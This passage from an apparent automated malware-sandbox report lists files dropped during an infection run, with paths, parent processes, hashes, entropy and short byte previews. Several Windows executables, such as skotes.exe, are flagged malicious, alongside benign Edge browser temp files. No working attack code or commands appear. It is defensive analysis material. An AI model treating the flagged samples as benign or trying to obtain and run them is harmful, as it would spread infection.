..8...q.......'.............@...dpzksbhx.............'.............@...lepvnhme.............DC.............@....taggant.0......."...JC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\00ee9ca1-edd9-4803-809f-870476d8fc49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4418560
Entropy (8bit):	7.986555874592222
Encrypted:	false
SSDEEP:	98304:KyomaMWEVLamDLaUw+Z1R0pfhNmVoTkj9AblQFHtN:KQQEJhDLPw20p3e1NT
MD5:	B759516B5EE0D73ED0870C1BE43FB479
SHA1:	34533E5CA737F48D55C73BA5CB939F39089C04C2
SHA-256:	91180F943FEF39F7177BBD1C1D8CF225FE93C0264DEE172EBC7C96E69592373F
SHA-512:	E911A8CA629D58942DA1B2F8A85552B7F65814E071FB3105049E61EEEF75FE4B545ADBD95E01D58510B48F2ABE83A630D438C8EA95ABFD0E1866DE330F27BC26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.................................3.C...@... ............................._.q.s...........................................................P....................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...dpzksbhx.............'.............@...lepvnhme.............DC.............@....taggant.0......."...JC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008203001\d6d730409e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	7.53366667522322
Encrypted:	false
SSDEEP:	768:yAr/Uj7rkP+hpCnfAm3AMjPqXH4r+lT3OKTykYgNf:yAr/UnPhp2fDAzYKFO9of
MD5:	83AA10E7AFDC05E0A37CEA5D5B17D746
SHA1:	BA5E19EB02F16178E1D8901F1D8629F98E7858CC
SHA-256:	22E1BCE69CE8C167DCE3BA630F3E033CF575F49CC1AD7299B9955BEF13804F95
SHA-512:	B8960FC3CEBAC81B3D011A6A5C6CC61451A8BAF3AB6D50A6B81D9773A059D457B3E751A8853F7F5F5DE635934CA3F99E38962337C88EABCEABC0AD1E9C936C93
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0K...........@..........................`K...........@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... .0+..........v..............@...wgudgomd.`....0..X...x..............@...yuwjtwak..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\12ea3d54-05a9-4c00-b05a-1b3e351d378c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1541494
Entropy (8bit):	7.992676585800027
Encrypted:	true
SSDEEP:	24576:LCYcciqd1p56euFNfIC87O+Qjup9VAZ9DhJYT5jasCS6jUHUtHSl00IIoD5Vu3Xk:yqJkJNfW6tipAZVhJYMTQoSNoD5Vu3n0
MD5:	42514CA6DBAEC11AAA7A6E026B442F2A
SHA1:	E421E19EB67CD9078336C03B04E4C1C3250B6178
SHA-256:	D019EAD6E2748BED0D065E8FCD6D78617733755AF6D123AD05DAD6972D6C51AA
SHA-512:	CF36FFD8B86145F35F494C6666860D3FC608223AD72B756B56EE3A58461CB934307AFB98B70157E89803A93594528641B39D0E6B12445F42B048CA1CD1C994AC
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.....pHYs...........k.....iTXtXML:com.adobe.xmp.....<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:tiff="http://ns.adobe.com/tiff/1.0/"><tiff:Orientation>1</tiff:Orientation></rdf:Description></rdf:RDF></x:xmpmeta>..<?xpacket end='w'?>,.......IDAThC.Io#Iz.....L&W.Z(j.*U..l_.Kl.a``......0.1...G.?a.d.in...x..J..E...L.1.Lj+..U.....Tf,o..E\|oD......-.]S.-Tb.a..A...M.;..M.ea..!.X.n......?..<0....4IU.$......h..fh.8M. <..#f?../.J.U.(W.........aq?.....T.q....N4w.b.7?....84[{-v..R..... .Cd-Rw....o{.....K"q....!\^.v/..`........;;O..'..sA....`..D.V..". .......\.D...( .`>......N...e[L..O....=2.>}...}..P....#".....,...w.w.H>"A..>t.Q....O._....M.........R.5....oO........$.......^.gm..X6XV.<.}!H4.z.m...PJ}...F.XNM.P.i6+\|.U...8..B\|? .#.4}...#M

C:\Users\user\AppData\Local\Temp\6024b71c-0bf8-4bbc-b850-61b5a221c585.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\8efcb272-60e8-4997-ab0e-4d608bfea94b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\ab6c55b3-560e-4ca1-930b-665e7ad00b42.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIJEGDBGDBF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.94968304003444
Encrypted:	false
SSDEEP:	49152:PMGDMQEgEDs8SLI5GQ3+l1cxRGPfyJgSuOB3X:PMLZuIgQuxpSbF
MD5:	1DAA3A0AA5ED7E06B400A47309BA5003
SHA1:	8D475FD4BE28EE701DBE5E2FE489FE9E9B3E826D
SHA-256:	C3D0427B8BC9D084AC65B881EC50F55BE52650F60850AC05010CCC8D56E3D1CB
SHA-512:	BC671CD250579413E693D2A61C2873A776A7C39125ADDD78B7A39A268C508FB638CD7C552FAABD3AC9A53BAF4B97086173AF09264DD68E2F5A7516B55A3F2ED8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PJ...........@...........................J......Z....@.................................W...k.......H....................3J.............................P3J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...fydbnmjr......0.....................@...ftxffxns.....@J.....................@....taggant.0...PJ.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cdb23370-83d8-438c-9074-a605a1f8f992.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.4158844827219825
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0L65QgM0Ao5M:JIVuwEw5MUFZLBQLtBxRM
MD5:	38E87E47361B882E2081D5CD566AE0A7
SHA1:	E3C3618FE4E61E9BCC4008E77651BC5C1322913B
SHA-256:	1E6556A020D5A8AF53FF4EC132B3FD767AC93089FCED6642E1F6AC82D21C0D9D
SHA-512:	5229AD43E3D2DA2FFEDB79A406C1619E223ED8D04189624450111CCB6B332A01BDB6FFFC5E551C48ADB3207FA100041EE97B50F69CA2D5258682381F113B5E8B
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e7e698c7-aa91-4b71-b1f7-a35195596bfb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir5676_1043462006\00ee9ca1-edd9-4803-809f-870476d8fc49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5676_1043462006\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5676_1043462006\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5676_1043462006\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5676_1043462006\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\8efcb272-60e8-4997-ab0e-4d608bfea94b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
